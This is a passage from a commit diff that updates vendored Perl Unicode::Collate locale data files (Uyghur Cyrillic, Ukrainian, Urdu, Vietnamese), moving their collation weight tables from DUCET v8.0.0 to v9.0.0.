+00E7      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
+0063 0327 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
+00C7      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
+0043 0327 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
+011F      ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE
+0067 0306 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE
+011E      ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
+0047 0306 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
+0131      ; [.1D31.0020.0002] # LATIN SMALL LETTER DOTLESS I
+0049      ; [.1D31.0020.0008] # LATIN CAPITAL LETTER I
+00CC      ; [.1D31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE
+00CD      ; [.1D31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE
+00CE      ; [.1D31.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+00CF      ; [.1D31.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS
+012A      ; [.1D31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
+012C      ; [.1D31.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE
+012E      ; [.1D31.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK
+0130      ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
+0049 0307 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
+00F6      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+015F      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
+0073 0327 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
+015E      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
+0053 0327 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
+00FC      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-04D9      ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER SCHWA
-04D8      ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+04D9      ; [.205B.0020.0002] # CYRILLIC SMALL LETTER SCHWA
+04D8      ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/uk.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/uk.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/uk.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,14 +1,14 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0491      ; [.1FB2.0020.0002] # CYRILLIC SMALL LETTER GHE WITH UPTURN
-0490      ; [.1FB2.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN
-A647      ; [.2004.0020.0002] # CYRILLIC SMALL LETTER IOTA
-A646      ; [.2004.0020.0008] # CYRILLIC CAPITAL LETTER IOTA
-0457      ; [.2005.0020.0002] # CYRILLIC SMALL LETTER YI
-0456 0308 ; [.2005.0020.0002] # CYRILLIC SMALL LETTER YI
-0407      ; [.2005.0020.0008] # CYRILLIC CAPITAL LETTER YI
-0406 0308 ; [.2005.0020.0008] # CYRILLIC CAPITAL LETTER YI
-A676      ; [.2005.0020.0004] # COMBINING CYRILLIC LETTER YI
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0491      ; [.2037.0020.0002] # CYRILLIC SMALL LETTER GHE WITH UPTURN
+0490      ; [.2037.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN
+A647      ; [.2089.0020.0002] # CYRILLIC SMALL LETTER IOTA
+A646      ; [.2089.0020.0008] # CYRILLIC CAPITAL LETTER IOTA
+0457      ; [.208A.0020.0002] # CYRILLIC SMALL LETTER YI
+0456 0308 ; [.208A.0020.0002] # CYRILLIC SMALL LETTER YI
+0407      ; [.208A.0020.0008] # CYRILLIC CAPITAL LETTER YI
+0406 0308 ; [.208A.0020.0008] # CYRILLIC CAPITAL LETTER YI
+A676      ; [.208A.0020.0004] # COMBINING CYRILLIC LETTER YI
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ur.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ur.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ur.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,76 +1,76 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0623      ; [.2286.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
-0627 0654 ; [.2286.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
-0622      ; [.2287.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
-0627 0653 ; [.2287.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
-0628      ; [.2287.0020.0002][.FFC1.0000.0000] # ARABIC LETTER BEH
-0628 06BE ; [.2287.0020.0002][.FFC2.0000.0000] # <ARABIC LETTER BEH, ARABIC LETTER HEH DOACHASHMEE>
-067E      ; [.2287.0020.0002][.FFC3.0000.0000] # ARABIC LETTER PEH
-067E 06BE ; [.2287.0020.0002][.FFC4.0000.0000] # <ARABIC LETTER PEH, ARABIC LETTER HEH DOACHASHMEE>
-062A      ; [.2287.0020.0002][.FFC5.0000.0000] # ARABIC LETTER TEH
-062A 06BE ; [.2287.0020.0002][.FFC6.0000.0000] # <ARABIC LETTER TEH, ARABIC LETTER HEH DOACHASHMEE>
-0679      ; [.2287.0020.0002][.FFC7.0000.0000] # ARABIC LETTER TTEH
-0679 06BE ; [.2287.0020.0002][.FFC8.0000.0000] # <ARABIC LETTER TTEH, ARABIC LETTER HEH DOACHASHMEE>
-062B      ; [.2287.0020.0002][.FFC9.0000.0000] # ARABIC LETTER THEH
-062C      ; [.2287.0020.0002][.FFCA.0000.0000] # ARABIC LETTER JEEM
-062C 06BE ; [.2287.0020.0002][.FFCB.0000.0000] # <ARABIC LETTER JEEM, ARABIC LETTER HEH DOACHASHMEE>
-0686      ; [.2287.0020.0002][.FFCC.0000.0000] # ARABIC LETTER TCHEH
-0686 06BE ; [.2287.0020.0002][.FFCD.0000.0000] # <ARABIC LETTER TCHEH, ARABIC LETTER HEH DOACHASHMEE>
-062D      ; [.2287.0020.0002][.FFCE.0000.0000] # ARABIC LETTER HAH
-062E      ; [.2287.0020.0002][.FFCF.0000.0000] # ARABIC LETTER KHAH
-062F      ; [.2287.0020.0002][.FFD0.0000.0000] # ARABIC LETTER DAL
-062F 06BE ; [.2287.0020.0002][.FFD1.0000.0000] # <ARABIC LETTER DAL, ARABIC LETTER HEH DOACHASHMEE>
-0688      ; [.2287.0020.0002][.FFD2.0000.0000] # ARABIC LETTER DDAL
-0688 06BE ; [.2287.0020.0002][.FFD3.0000.0000] # <ARABIC LETTER DDAL, ARABIC LETTER HEH DOACHASHMEE>
-0630      ; [.2287.0020.0002][.FFD4.0000.0000] # ARABIC LETTER THAL
-0631      ; [.2287.0020.0002][.FFD5.0000.0000] # ARABIC LETTER REH
-0631 06BE ; [.2287.0020.0002][.FFD6.0000.0000] # <ARABIC LETTER REH, ARABIC LETTER HEH DOACHASHMEE>
-0691      ; [.2287.0020.0002][.FFD7.0000.0000] # ARABIC LETTER RREH
-0691 06BE ; [.2287.0020.0002][.FFD8.0000.0000] # <ARABIC LETTER RREH, ARABIC LETTER HEH DOACHASHMEE>
-0632      ; [.2287.0020.0002][.FFD9.0000.0000] # ARABIC LETTER ZAIN
-0698      ; [.2287.0020.0002][.FFDA.0000.0000] # ARABIC LETTER JEH
-0633      ; [.2287.0020.0002][.FFDB.0000.0000] # ARABIC LETTER SEEN
-0634      ; [.2287.0020.0002][.FFDC.0000.0000] # ARABIC LETTER SHEEN
-0635      ; [.2287.0020.0002][.FFDD.0000.0000] # ARABIC LETTER SAD
-0636      ; [.2287.0020.0002][.FFDE.0000.0000] # ARABIC LETTER DAD
-0637      ; [.2287.0020.0002][.FFDF.0000.0000] # ARABIC LETTER TAH
-0638      ; [.2287.0020.0002][.FFE0.0000.0000] # ARABIC LETTER ZAH
-0639      ; [.2287.0020.0002][.FFE1.0000.0000] # ARABIC LETTER AIN
-063A      ; [.2287.0020.0002][.FFE2.0000.0000] # ARABIC LETTER GHAIN
-0641      ; [.2287.0020.0002][.FFE3.0000.0000] # ARABIC LETTER FEH
-0642      ; [.2287.0020.0002][.FFE4.0000.0000] # ARABIC LETTER QAF
-06A9      ; [.2287.0020.0002][.FFE5.0000.0000] # ARABIC LETTER KEHEH
-06A9 06BE ; [.2287.0020.0002][.FFE6.0000.0000] # <ARABIC LETTER KEHEH, ARABIC LETTER HEH DOACHASHMEE>
-06AF      ; [.2287.0020.0002][.FFE7.0000.0000] # ARABIC LETTER GAF
-06AF 06BE ; [.2287.0020.0002][.FFE8.0000.0000] # <ARABIC LETTER GAF, ARABIC LETTER HEH DOACHASHMEE>
-0644      ; [.2287.0020.0002][.FFE9.0000.0000] # ARABIC LETTER LAM
-0644 06BE ; [.2287.0020.0002][.FFEA.0000.0000] # <ARABIC LETTER LAM, ARABIC LETTER HEH DOACHASHMEE>
-0645      ; [.2287.0020.0002][.FFEB.0000.0000] # ARABIC LETTER MEEM
-0645 06BE ; [.2287.0020.0002][.FFEC.0000.0000] # <ARABIC LETTER MEEM, ARABIC LETTER HEH DOACHASHMEE>
-0646      ; [.2287.0020.0002][.FFED.0000.0000] # ARABIC LETTER NOON
-0646 06BE ; [.2287.0020.0002][.FFEE.0000.0000] # <ARABIC LETTER NOON, ARABIC LETTER HEH DOACHASHMEE>
-06BA      ; [.2287.0020.0002][.FFEF.0000.0000] # ARABIC LETTER NOON GHUNNA
-06BA 06BE ; [.2287.0020.0002][.FFF0.0000.0000] # <ARABIC LETTER NOON GHUNNA, ARABIC LETTER HEH DOACHASHMEE>
-0648      ; [.2287.0020.0002][.FFF1.0000.0000] # ARABIC LETTER WAW
-0624      ; [.2287.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
-0648 0654 ; [.2287.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
-0648 06BE ; [.2287.0020.0002][.FFF2.0000.0000] # <ARABIC LETTER WAW, ARABIC LETTER HEH DOACHASHMEE>
-06C1      ; [.2287.0020.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL
-06C2      ; [.2287.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
-06C1 0654 ; [.2287.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
-06BE      ; [.2287.0020.0002][.FFF4.0000.0000] # ARABIC LETTER HEH DOACHASHMEE
-06C3      ; [.2287.0020.0002][.FFF5.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL
-0621      ; [.2287.0020.0002][.FFF6.0000.0000] # ARABIC LETTER HAMZA
-06CC      ; [.2287.0020.0002][.FFF7.0000.0000] # ARABIC LETTER FARSI YEH
-0626      ; [.2287.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
-064A 0654 ; [.2287.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
-06CC 06BE ; [.2287.0020.0002][.FFF8.0000.0000] # <ARABIC LETTER FARSI YEH, ARABIC LETTER HEH DOACHASHMEE>
-06D2      ; [.2287.0020.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE
-06D3      ; [.2287.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
-06D2 0654 ; [.2287.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
-066E      ; [.2287.0020.0002][.FFFA.0000.0000] # ARABIC LETTER DOTLESS BEH
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0623      ; [.230B.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
+0627 0654 ; [.230B.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
+0622      ; [.230C.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
+0627 0653 ; [.230C.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
+0628      ; [.230C.0020.0002][.FFC1.0000.0000] # ARABIC LETTER BEH
+0628 06BE ; [.230C.0020.0002][.FFC2.0000.0000] # <ARABIC LETTER BEH, ARABIC LETTER HEH DOACHASHMEE>
+067E      ; [.230C.0020.0002][.FFC3.0000.0000] # ARABIC LETTER PEH
+067E 06BE ; [.230C.0020.0002][.FFC4.0000.0000] # <ARABIC LETTER PEH, ARABIC LETTER HEH DOACHASHMEE>
+062A      ; [.230C.0020.0002][.FFC5.0000.0000] # ARABIC LETTER TEH
+062A 06BE ; [.230C.0020.0002][.FFC6.0000.0000] # <ARABIC LETTER TEH, ARABIC LETTER HEH DOACHASHMEE>
+0679      ; [.230C.0020.0002][.FFC7.0000.0000] # ARABIC LETTER TTEH
+0679 06BE ; [.230C.0020.0002][.FFC8.0000.0000] # <ARABIC LETTER TTEH, ARABIC LETTER HEH DOACHASHMEE>
+062B      ; [.230C.0020.0002][.FFC9.0000.0000] # ARABIC LETTER THEH
+062C      ; [.230C.0020.0002][.FFCA.0000.0000] # ARABIC LETTER JEEM
+062C 06BE ; [.230C.0020.0002][.FFCB.0000.0000] # <ARABIC LETTER JEEM, ARABIC LETTER HEH DOACHASHMEE>
+0686      ; [.230C.0020.0002][.FFCC.0000.0000] # ARABIC LETTER TCHEH
+0686 06BE ; [.230C.0020.0002][.FFCD.0000.0000] # <ARABIC LETTER TCHEH, ARABIC LETTER HEH DOACHASHMEE>
+062D      ; [.230C.0020.0002][.FFCE.0000.0000] # ARABIC LETTER HAH
+062E      ; [.230C.0020.0002][.FFCF.0000.0000] # ARABIC LETTER KHAH
+062F      ; [.230C.0020.0002][.FFD0.0000.0000] # ARABIC LETTER DAL
+062F 06BE ; [.230C.0020.0002][.FFD1.0000.0000] # <ARABIC LETTER DAL, ARABIC LETTER HEH DOACHASHMEE>
+0688      ; [.230C.0020.0002][.FFD2.0000.0000] # ARABIC LETTER DDAL
+0688 06BE ; [.230C.0020.0002][.FFD3.0000.0000] # <ARABIC LETTER DDAL, ARABIC LETTER HEH DOACHASHMEE>
+0630      ; [.230C.0020.0002][.FFD4.0000.0000] # ARABIC LETTER THAL
+0631      ; [.230C.0020.0002][.FFD5.0000.0000] # ARABIC LETTER REH
+0631 06BE ; [.230C.0020.0002][.FFD6.0000.0000] # <ARABIC LETTER REH, ARABIC LETTER HEH DOACHASHMEE>
+0691      ; [.230C.0020.0002][.FFD7.0000.0000] # ARABIC LETTER RREH
+0691 06BE ; [.230C.0020.0002][.FFD8.0000.0000] # <ARABIC LETTER RREH, ARABIC LETTER HEH DOACHASHMEE>
+0632      ; [.230C.0020.0002][.FFD9.0000.0000] # ARABIC LETTER ZAIN
+0698      ; [.230C.0020.0002][.FFDA.0000.0000] # ARABIC LETTER JEH
+0633      ; [.230C.0020.0002][.FFDB.0000.0000] # ARABIC LETTER SEEN
+0634      ; [.230C.0020.0002][.FFDC.0000.0000] # ARABIC LETTER SHEEN
+0635      ; [.230C.0020.0002][.FFDD.0000.0000] # ARABIC LETTER SAD
+0636      ; [.230C.0020.0002][.FFDE.0000.0000] # ARABIC LETTER DAD
+0637      ; [.230C.0020.0002][.FFDF.0000.0000] # ARABIC LETTER TAH
+0638      ; [.230C.0020.0002][.FFE0.0000.0000] # ARABIC LETTER ZAH
+0639      ; [.230C.0020.0002][.FFE1.0000.0000] # ARABIC LETTER AIN
+063A      ; [.230C.0020.0002][.FFE2.0000.0000] # ARABIC LETTER GHAIN
+0641      ; [.230C.0020.0002][.FFE3.0000.0000] # ARABIC LETTER FEH
+0642      ; [.230C.0020.0002][.FFE4.0000.0000] # ARABIC LETTER QAF
+06A9      ; [.230C.0020.0002][.FFE5.0000.0000] # ARABIC LETTER KEHEH
+06A9 06BE ; [.230C.0020.0002][.FFE6.0000.0000] # <ARABIC LETTER KEHEH, ARABIC LETTER HEH DOACHASHMEE>
+06AF      ; [.230C.0020.0002][.FFE7.0000.0000] # ARABIC LETTER GAF
+06AF 06BE ; [.230C.0020.0002][.FFE8.0000.0000] # <ARABIC LETTER GAF, ARABIC LETTER HEH DOACHASHMEE>
+0644      ; [.230C.0020.0002][.FFE9.0000.0000] # ARABIC LETTER LAM
+0644 06BE ; [.230C.0020.0002][.FFEA.0000.0000] # <ARABIC LETTER LAM, ARABIC LETTER HEH DOACHASHMEE>
+0645      ; [.230C.0020.0002][.FFEB.0000.0000] # ARABIC LETTER MEEM
+0645 06BE ; [.230C.0020.0002][.FFEC.0000.0000] # <ARABIC LETTER MEEM, ARABIC LETTER HEH DOACHASHMEE>
+0646      ; [.230C.0020.0002][.FFED.0000.0000] # ARABIC LETTER NOON
+0646 06BE ; [.230C.0020.0002][.FFEE.0000.0000] # <ARABIC LETTER NOON, ARABIC LETTER HEH DOACHASHMEE>
+06BA      ; [.230C.0020.0002][.FFEF.0000.0000] # ARABIC LETTER NOON GHUNNA
+06BA 06BE ; [.230C.0020.0002][.FFF0.0000.0000] # <ARABIC LETTER NOON GHUNNA, ARABIC LETTER HEH DOACHASHMEE>
+0648      ; [.230C.0020.0002][.FFF1.0000.0000] # ARABIC LETTER WAW
+0624      ; [.230C.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
+0648 0654 ; [.230C.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
+0648 06BE ; [.230C.0020.0002][.FFF2.0000.0000] # <ARABIC LETTER WAW, ARABIC LETTER HEH DOACHASHMEE>
+06C1      ; [.230C.0020.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL
+06C2      ; [.230C.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
+06C1 0654 ; [.230C.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
+06BE      ; [.230C.0020.0002][.FFF4.0000.0000] # ARABIC LETTER HEH DOACHASHMEE
+06C3      ; [.230C.0020.0002][.FFF5.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL
+0621      ; [.230C.0020.0002][.FFF6.0000.0000] # ARABIC LETTER HAMZA
+06CC      ; [.230C.0020.0002][.FFF7.0000.0000] # ARABIC LETTER FARSI YEH
+0626      ; [.230C.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
+064A 0654 ; [.230C.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
+06CC 06BE ; [.230C.0020.0002][.FFF8.0000.0000] # <ARABIC LETTER FARSI YEH, ARABIC LETTER HEH DOACHASHMEE>
+06D2      ; [.230C.0020.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE
+06D3      ; [.230C.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+06D2 0654 ; [.230C.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+066E      ; [.230C.0020.0002][.FFFA.0000.0000] # ARABIC LETTER DOTLESS BEH
 0652      ; [.0000.0074.0002] # ARABIC SUKUN
 064E      ; [.0000.0075.0002] # ARABIC FATHA
 0650      ; [.0000.0076.0002] # ARABIC KASRA

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vi.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vi.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vi.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,220 +1,220 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # 0306 is not a Vietnamese tone, just to avoid \x{306} eq. to something.
-   entry => <<'ENTRY', # for DUCET v8.0.0
+   entry => <<'ENTRY', # for DUCET v9.0.0
 0309      ; [.0000.0026.0002][.0000.00F0.0000] # COMBINING HOOK ABOVE
-1EA3      ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH HOOK ABOVE
-1EA2      ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH HOOK ABOVE
-1EBB      ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH HOOK ABOVE
-1EBA      ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH HOOK ABOVE
-1EC9      ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER I WITH HOOK ABOVE
-1EC8      ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER I WITH HOOK ABOVE
-1ECF      ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HOOK ABOVE
-1ECE      ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HOOK ABOVE
-1EE7      ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HOOK ABOVE
-1EE6      ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HOOK ABOVE
-1EF7      ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER Y WITH HOOK ABOVE
-1EF6      ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE
+1EA3      ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH HOOK ABOVE
+1EA2      ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH HOOK ABOVE
+1EBB      ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH HOOK ABOVE
+1EBA      ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH HOOK ABOVE
+1EC9      ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER I WITH HOOK ABOVE
+1EC8      ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER I WITH HOOK ABOVE
+1ECF      ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HOOK ABOVE
+1ECE      ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HOOK ABOVE
+1EE7      ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HOOK ABOVE
+1EE6      ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HOOK ABOVE
+1EF7      ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER Y WITH HOOK ABOVE
+1EF6      ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE
 0303      ; [.0000.0026.0002][.0000.00F1.0000] # COMBINING TILDE
-00E3      ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH TILDE
-00C3      ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH TILDE
-1EBD      ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH TILDE
-1EBC      ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH TILDE
-0129      ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER I WITH TILDE
-0128      ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER I WITH TILDE
-00F5      ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH TILDE
-00D5      ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH TILDE
-0169      ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH TILDE
-0168      ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH TILDE
-1EF9      ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER Y WITH TILDE
-1EF8      ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER Y WITH TILDE
+00E3      ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH TILDE
+00C3      ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH TILDE
+1EBD      ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH TILDE
+1EBC      ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH TILDE
+0129      ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER I WITH TILDE
+0128      ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER I WITH TILDE
+00F5      ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH TILDE
+00D5      ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH TILDE
+0169      ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH TILDE
+0168      ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH TILDE
+1EF9      ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER Y WITH TILDE
